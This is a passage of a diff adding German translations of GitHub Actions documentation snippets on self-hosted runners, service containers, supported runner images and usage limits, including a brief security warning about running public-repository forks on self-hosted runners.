+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner-updated.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: cf95e20b26e8fb29fbae23c0a5e9a913aa73c8b0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067937"
+---
+1. Klicken Sie auf **Entfernen**.
+1. Du wirst Anweisungen zum Entfernen des selbst gehosteten Läufers sehen. Vervollständige einen der folgenden Schritte, um den Läufer zu entfernen, abhängig davon, ob er noch zugänglich ist:
+
+    * **Wenn du Zugriff auf den Runnercomputer hast:** Folge den Anweisungen auf dem Bildschirm für das Betriebssystem deines Computers, um den Befehl zum Entfernen auszuführen. Die Anweisungen beinhalten die erforderliche URL und ein automatisch generiertes, zeitlich begrenztes Token.
+
+        Der Befehl zum Entfernen führt die folgenden Aufgaben aus:
+
+        * Entfernt den Läufer aus {% data variables.product.product_name %}.
+        * Entfernt alle selbst-gehosteten Läufer-Anwendungskonfigurationsdateien auf der Maschine.
+        * Entfernt alle konfigurierten Dienste, wenn sie nicht im interaktiven Modus ausgeführt werden.
+
+    * **Wenn du keinen Zugriff auf den Computer hast:** Klicke auf **Entfernen dieses Runners erzwingen**, um das Entfernen des Runners durch {% data variables.product.product_name %} zu erzwingen.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner.md
new file mode 100644
index 0000000000..a83f81aea8
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-removing-a-runner.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 0d73e17e61dc0848a42a18a7e1811b43e541b6a4
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147061298"
+---
+1. Suche unter „Runner“ den Runner in der Liste. Wenn sich dein Läufer in einer Gruppe befindet, klicke auf {% octicon "chevron-down" aria-label="The downwards chevron" %}, um die Liste zu erweitern.
+1. Klicke neben dem Runner, den du entfernen möchtest, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und anschließend auf **Entfernen**.
+
+    ![Entfernen einer selbst-gehosteten Läufereinstellung](/assets/images/help/settings/actions-runner-remove.png)
+1. Du wirst Anweisungen zum Entfernen des selbst gehosteten Läufers sehen. Vervollständige einen der folgenden Schritte, um den Läufer zu entfernen, abhängig davon, ob er noch zugänglich ist:
+
+    * **Wenn du Zugriff auf den Runnercomputer hast:** Folge den Anweisungen auf dem Bildschirm für das Betriebssystem deines Computers, um den Befehl zum Entfernen auszuführen. Die Anweisungen beinhalten die erforderliche URL und ein automatisch generiertes, zeitlich begrenztes Token.
+
+        Der Befehl zum Entfernen führt die folgenden Aufgaben aus:
+
+        * Entfernt den Läufer aus {% data variables.product.product_name %}.
+        * Entfernt alle selbst-gehosteten Läufer-Anwendungskonfigurationsdateien auf der Maschine.
+        * Entfernt alle konfigurierten Dienste, wenn sie nicht im interaktiven Modus ausgeführt werden.
+
+    * **Wenn du keinen Zugriff auf den Computer hast:** Klicke auf **Ja, Entfernen dieses Runners erzwingen**, um das Entfernen des Runners durch {% data variables.product.product_name %} zu erzwingen.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-reqs-docker.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-reqs-docker.md
new file mode 100644
index 0000000000..e5dc33e5b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-reqs-docker.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 36e1ac28bbdb5543858aef6be537de0e34f1d1f1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067929"
+---
+Selbst gehostete Läufer müssen ein Linux-Betriebssystem verwenden und Docker installiert haben, um Docker Containeraktionen auszuführen. Weitere Informationen zu den Anforderungen selbstgehosteter Runner findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#requirements-for-self-hosted-runner-machines).
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-reusing.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-reusing.md
new file mode 100644
index 0000000000..52cecfd021
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-reusing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a92a36101675ea033048f97465a87571b23ee9ef
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091303"
+---
+Wenn du keinen Zugriff auf das Repository {% ifversion fpt %} oder die Organisation {% elsif ghes or ghec or ghae %}, Organisation oder Enterprise {% endif %} in {% data variables.product.product_name %} hast, um einen Runner zu entfernen, aber den Runner-Computer wieder verwenden möchtest, kannst du alternativ die `.runner`-Datei im Verzeichnis der selbst gehosteten Runner-Anwendung löschen. Dadurch kann der Runner registriert werden, ohne die Anwendung für selbst-gehostete Runner erneut herunterladen zu müssen.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-security-admonition.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-security-admonition.md
new file mode 100644
index 0000000000..48744c0d27
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-security-admonition.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 8c2084dcfcee3042fd067f1e82138875724c59ac
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109742"
+---
+{% warning %}
+
+**Warnung**: {% data reusables.actions.self-hosted-runner-security %}
+
+Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)“.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runner-security.md b/translations/de-DE/data/reusables/actions/self-hosted-runner-security.md
new file mode 100644
index 0000000000..5b360accc6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runner-security.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 518c31dffd71180ff4733f98ba7df3d5fe6028d9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109737"
+---
+Es wird empfohlen, nur selbstgehostete Runner mit privaten Repositorys zu verwenden. Der Grund hierfür liegt darin, dass Forks deines öffentlichen Repositorys möglicherweise gefährlichen Code auf deinem selbstgehosteten Runnercomputer ausführen können, indem sie einen Pull Request erstellen, der den Code in einem Workflow ausführt.
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runners-prerequisites.md b/translations/de-DE/data/reusables/actions/self-hosted-runners-prerequisites.md
new file mode 100644
index 0000000000..d337f48e63
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runners-prerequisites.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 902c07f73a0d523e80d620ad6eef94e25f678add
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091302"
+---
+{%- ifversion ghes %}
+- {% data variables.product.prodname_actions %} müssen für {% data variables.product.product_name %} aktiviert sein. Ein Websiteadministrator kann {% data variables.product.prodname_actions %} für deine Instanz aktivieren und konfigurieren. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server).
+{%- endif %}
+
+- Du musst Zugriff auf den Computer haben, den du als selbst gehosteten Runner in deiner Umgebung verwendest.
+
+- {% data reusables.actions.self-hosted-runner-ports-protocols %} Weitere Informationen findest du unter „[Informationen zu selbst gehosteten Runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-between-self-hosted-runners-and-github-ae)".
diff --git a/translations/de-DE/data/reusables/actions/self-hosted-runners-software.md b/translations/de-DE/data/reusables/actions/self-hosted-runners-software.md
new file mode 100644
index 0000000000..18857e693a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/self-hosted-runners-software.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1ba787394ea2c0ce1fc568690a40be8df61d1aba
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067921"
+---
+Du musst die erforderliche Software auf deinen selbstgehosteten Runnern installieren. Weitere Informationen zu selbstgehosteten Runnern findest du unter [Hosten deiner eigenen Runner](/actions/hosting-your-own-runners).
diff --git a/translations/de-DE/data/reusables/actions/service-container-add-script.md b/translations/de-DE/data/reusables/actions/service-container-add-script.md
new file mode 100644
index 0000000000..3ca9e51234
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-container-add-script.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 248cd2147dd19ac05f537608844f08dd713c5d7f
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886470"
+---
+Füge deinem Repository eine neue Datei namens *client.js* mit dem folgenden Code hinzu.
diff --git a/translations/de-DE/data/reusables/actions/service-container-host-runner.md b/translations/de-DE/data/reusables/actions/service-container-host-runner.md
new file mode 100644
index 0000000000..c5c74c069a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-container-host-runner.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: abaac8f19c1b47bd789300cbcdd18b2b8fdc494c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881908"
+---
+Das Beispiel verwendet den in {% data variables.product.prodname_dotcom %} gehosteten Runner `ubuntu-latest` als Docker-Host.
diff --git a/translations/de-DE/data/reusables/actions/service-container-host.md b/translations/de-DE/data/reusables/actions/service-container-host.md
new file mode 100644
index 0000000000..2a4530a6a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-container-host.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8bb7cb1b5b37189b8e939f748db566087ed331ba
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145091296"
+---
+Dieser Workflow konfiguriert einen Auftrag, der im Container `node:10.18-jessie` läuft und verwendet den `ubuntu-latest` {% data variables.product.prodname_dotcom %}-gehosteten Runner als Docker-Host für den Container. Weitere Informationen zum Container `node:10.18-jessie` findest Du im [Knotenimage](https://hub.docker.com/_/node) auf Docker Hub.
diff --git a/translations/de-DE/data/reusables/actions/service-container-localhost.md b/translations/de-DE/data/reusables/actions/service-container-localhost.md
new file mode 100644
index 0000000000..03657648e3
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-container-localhost.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1068bcc8137eb795293b2a7ec9733a8f09ed0d7e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067892"
+---
+Der Hostname ist `localhost` oder `127.0.0.1`.
diff --git a/translations/de-DE/data/reusables/actions/service-container-prereqs.md b/translations/de-DE/data/reusables/actions/service-container-prereqs.md
new file mode 100644
index 0000000000..777d174c9f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-container-prereqs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7c4b3f26aaa76c2fed918454cffb4031074de89b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091291"
+---
+Du solltest damit vertraut sein, wie Service-Container mit {% data variables.product.prodname_actions %} arbeiten und die Netzwerkunterschiede kennen zwischen dem Laufen lassen von Aufträgen direkt auf dem Läufer oder in einem Container. Weitere Informationen findest du unter [Informationen zu Dienstcontainern](/actions/automating-your-workflow-with-github-actions/about-service-containers).
diff --git a/translations/de-DE/data/reusables/actions/service-template-steps.md b/translations/de-DE/data/reusables/actions/service-template-steps.md
new file mode 100644
index 0000000000..a42f76bc78
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/service-template-steps.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e3fc5a45fbf8c6bd10e125e468d3110442fb5e28
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883068"
+---
+Der Workflow führt die folgenden Schritte aus:
+
+1. Auschecken des Repository auf dem Läufer
+1. Installieren von Abhängigkeiten
+1. Ausführen eines Script, um einen Client zu erstellen
diff --git a/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md
new file mode 100644
index 0000000000..669184769a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-groups-selection.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 94238ae249ed9ba04df07d55f318fd76d06deb34
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091290"
+---
+1. Klicke in der Liste der Gruppen auf die Runnergruppe, die du konfigurieren möchtest.
diff --git a/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-selection.md b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-selection.md
new file mode 100644
index 0000000000..fb210b09e1
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runner-selection.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 509eefb089f08bf6441d04b63e0d497c86680bfd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881267"
+---
+1. Klicke in der Liste der Runner auf den Runner, den du konfigurieren möchtest.
diff --git a/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runners-updated.md b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runners-updated.md
new file mode 100644
index 0000000000..dc4fb09da2
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-sidebar-actions-runners-updated.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c8da68dd7dbed5d7f459a302ab25102968009d67
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091285"
+---
+1. Klicke auf der linken Randleiste unter „Aktionen“ auf **Runner**.
diff --git a/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-general.md b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-general.md
new file mode 100644
index 0000000000..85a4eb590c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-general.md
@@ -0,0 +1,2 @@
+{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%}
+1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **General**.{% else %}**Actions**.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md
new file mode 100644
index 0000000000..c0e429db95
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md
@@ -0,0 +1 @@
+{% ifversion ghes > 3.6 %}To use {% data variables.product.prodname_actions %} as a publishing source for {% data variables.product.prodname_pages %}, a site administrator must enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server)."{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runner-groups.md b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runner-groups.md
new file mode 100644
index 0000000000..106c0b3176
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runner-groups.md
@@ -0,0 +1,5 @@
+{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%}
+1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runner groups**.{% else %}**Actions**.{% ifversion ghes > 3.3 or ghae > 3.3 %}
+1. In the left sidebar, under "Actions", click **Runner groups**.
+{%- elsif ghes or ghae %}
+1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runners.md b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runners.md
new file mode 100644
index 0000000000..e3cf5ed3cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/settings-ui/settings-actions-runners.md
@@ -0,0 +1,3 @@
+{% comment %}This reusable is only to be used in other repo/org/enterprise setting reusables.{%- endcomment -%}
+1. In the left sidebar, click {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}{% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Runners**.{% else %}**Actions**.{% ifversion ghes or ghae %}
+1. In the left sidebar, under "Actions", click **Runners**.{% endif %}{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/setup-node-intro.md b/translations/de-DE/data/reusables/actions/setup-node-intro.md
new file mode 100644
index 0000000000..97af77e9a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/setup-node-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1bce1a0949397ba1c6c853fa0cb2c5c0c36fa90e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103640"
+---
+Du kannst die `setup-node`-Aktion verwenden, um auf dem Runner eine lokale *NPMRC*-Datei zu erstellen, in der die Standardregistrierung und der Standardbereich konfiguriert werden. Die `setup-node`-Aktion akzeptiert als Eingabe auch ein Authentifizierungstoken, das für den Zugriff auf private Registrierungen oder die Veröffentlichung von Knotenpaketen verwendet wird. Weitere Informationen findest du unter [`setup-node`](https://github.com/actions/setup-node/).
diff --git a/translations/de-DE/data/reusables/actions/setup-node-table-entry.md b/translations/de-DE/data/reusables/actions/setup-node-table-entry.md
new file mode 100644
index 0000000000..78d583efd9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/setup-node-table-entry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 96349755c9a251f9509480f0355a91797f35855c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877090"
+---
+| Installieren von `node` für den Runner: | [`actions/setup-node`](https://github.com/actions/setup-node) |
diff --git a/translations/de-DE/data/reusables/actions/sidebar-environment.md b/translations/de-DE/data/reusables/actions/sidebar-environment.md
new file mode 100644
index 0000000000..b485ea1bab
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/sidebar-environment.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 62088de875cc45d07fced7c605f83db1df5fd79a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067860"
+---
+1. Klicke auf der linken Randleiste auf **Umgebungen**.
diff --git a/translations/de-DE/data/reusables/actions/sidebar-secret.md b/translations/de-DE/data/reusables/actions/sidebar-secret.md
new file mode 100644
index 0000000000..91d60259f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/sidebar-secret.md
@@ -0,0 +1,5 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 -%}
+1. In the "Security" section of the sidebar, select **{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} Secrets**, then click **Actions**.
+{%- else %}
+1. In the left sidebar, click **Secrets**.
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/actions/starter-workflow-categories.md b/translations/de-DE/data/reusables/actions/starter-workflow-categories.md
new file mode 100644
index 0000000000..5b6141d536
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/starter-workflow-categories.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: c7982b868c7c59f026eb41f98118466f4f62b93d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067849"
+---
+{% data variables.product.prodname_dotcom %} bietet einsatzbereite Start-Workflows für die folgenden Kategorien auf hoher Ebene:
+- **Bereitstellung (CD)** . Weitere Informationen findest du unter „[Informationen zu Continuous Deployment](/actions/deployment/about-deployments/about-continuous-deployment)“. {% ifversion fpt or ghec %}- **Sicherheit**. Weitere Informationen findest du unter „[Einrichten von {% data variables.product.prodname_code_scanning %} unter Verwendung eines Starter-Workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)“{% endif %}
+- **Continuous Integration (CI)** Weitere Informationen findest du unter „[Informationen zu Continuous Integration](/actions/automating-builds-and-tests/about-continuous-integration)“. 
+- **Automatisierung**. Automatisierungsstart-Workflows bieten Lösungen für die Automatisierung von Workflows, so wie das Triagieren von Pull Requests und das Anwenden einer Bezeichnung basierend auf den Pfaden, die in der Pull Request geändert werden, oder Begrüßungen für Benutzer, die zum ersten Mal mitwirkende Personen des Repositorys sind.
diff --git a/translations/de-DE/data/reusables/actions/supported-github-runners.md b/translations/de-DE/data/reusables/actions/supported-github-runners.md
new file mode 100644
index 0000000000..2173520f60
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/supported-github-runners.md
@@ -0,0 +1,111 @@
+---
+ms.openlocfilehash: c30f6000486156f1995f0f05ff27fc173b893de5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147529272"
+---
+<table style="width:100%">
+<thead>
+  <tr>
+    <th style="width:35%"><b>Runner-Image</b></th>
+    <th style="width:25%"><b>YAML-Workflow-Kennzeichnung</b></th>
+    <th style="width:40%"><b>Hinweise</b></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+Windows Server 2022
+</td>
+<td>
+<code>windows-latest</code> oder <code>windows-2022</code> 
+</td>
+<td>
+Die <code>windows-latest</code>-Bezeichnung verwendet derzeit das Windows Server 2022-Runner-Image.
+</td>
+</tr>
+<tr>
+<td>
+Windows Server 2019
+</td>
+<td>
+<code>windows-2019</code>
+</td>
+<td>
+</td>
+</tr>
+<tr>
+<td>
+Ubuntu 22.04
+</td>
+<td>
+<code>ubuntu-22.04</code>
+</td>
+<td>
+</td>
+</tr>
+<tr>
+<td>
+Ubuntu 20.04
+</td>
+<td>
+<code>ubuntu-latest</code> oder <code>ubuntu-20.04</code> 
+</td>
+</tr>
+<tr>
+<td>
+Ubuntu 18.04 <sup>[veraltet]</sup>
+</td>
+<td>
+<code>ubuntu-18.04</code>
+</td>
+<td>
+Migriere zu <code>ubuntu-20.04</code> oder <code>ubuntu-22.04</code>. Weitere Informationen findest du in diesem <A href="https://github.blog/changelog/2022-08-09-github-actions-the-ubuntu-18-04-actions-runner-image-is-being-deprecated-and-will-be-removed-by-12-1-22/">Blogbeitrag auf GitHub</A>.
+</td>
+</tr>
+<tr>
+<td>
+macOS Monterey 12
+</td>
+<td>
+<code>macos-12</code>
+  </td>
+</tr>
+<tr>
+<td>
+macOS Big Sur 11
+</td>
+<td>
+<code>macos-latest</code> oder <code>macos-11</code> 
+</td>
+<td>
+Die <code>macos-latest</code>-Bezeichnung verwendet derzeit das macOS 11 Runner-Image.
+</td>
+</tr>
+<tr>
+<td>
+macOS Catalina 10.15 <sup>[veraltet]</sup>
+</td>
+<td>
+<code>macos-10.15</code>
+</td>
+<td>
+Migriere zu <code>macOS-11</code> oder <code>macOS-12</code>. Weitere Informationen findest du in diesem <A href="https://github.blog/changelog/2022-07-20-github-actions-the-macos-10-15-actions-runner-image-is-being-deprecated-and-will-be-removed-by-8-30-22/">Blogbeitrag auf GitHub</A>.
+</td>
+</tr>
+</tbody>
+</table>
+
+{% note %}
+
+**Hinweis:** Die `-latest`-Runner-Images sind die neuesten stabilen Images, die {% data variables.product.prodname_dotcom %} bereitstellt, und entsprechen möglicherweise nicht der neuesten Version des Betriebssystems, die beim Betriebssystemanbieter erhältlich ist.
+
+{% endnote %}
+
+{% warning %}
+
+<b>Hinweis:</b> Beta- und veraltete Images werden „wie gesehen", „mit allen Mängeln" und „wie verfügbar" bereitgestellt und werden von der Vereinbarung auf Serviceebene und Garantie ausgeschlossen. Beta-Images werden möglicherweise nicht vom Kundendienst abgedeckt.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md b/translations/de-DE/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md
new file mode 100644
index 0000000000..1290be8b1c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md
@@ -0,0 +1 @@
+If you use ephemeral runners and have disabled automatic updates, before you upgrade {% data variables.location.product_location %}, you should first upgrade your self-hosted runners to the version of the runner application that your upgraded instance will run. Upgrading {% data variables.location.product_location %} before you upgrade ephemeral runners may result in your runners going offline. For more information, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
diff --git a/translations/de-DE/data/reusables/actions/usage-api-requests.md b/translations/de-DE/data/reusables/actions/usage-api-requests.md
new file mode 100644
index 0000000000..4c488b3198
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/usage-api-requests.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d2012308af9ed99ce7273d6dfc2dc1ab0da83927
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109731"
+---
+- **API-Anforderungen**: Du kannst bis zu 1.000 Anforderungen an die GitHub-API pro Stunde für alle Aktionen in einem Repository ausführen. Wenn die Anzahl der Anforderungen überschritten wird, sind weitere API-Anforderungen erfolglos, was dazu führen kann, dass Aufträge erfolglos sind.
diff --git a/translations/de-DE/data/reusables/actions/usage-matrix-limits.md b/translations/de-DE/data/reusables/actions/usage-matrix-limits.md
new file mode 100644
index 0000000000..b550cf1885
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/usage-matrix-limits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ffc69c26bca57e71588d8d28a6c8d0e1e369a98d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145067836"
+---
+Eine Auftragsmatrix kann maximal 256 Aufträge pro Workflow-Ausführung generieren. Das Limit gilt sowohl für von {% data variables.product.product_name %} gehostete als auch selbstgehostete Runner.
diff --git a/translations/de-DE/data/reusables/actions/usage-workflow-queue-limits.md b/translations/de-DE/data/reusables/actions/usage-workflow-queue-limits.md
new file mode 100644
index 0000000000..0ce1f88f64
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/usage-workflow-queue-limits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a43950d6ed47c98a15deb56109de62449234616b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883092"
+---
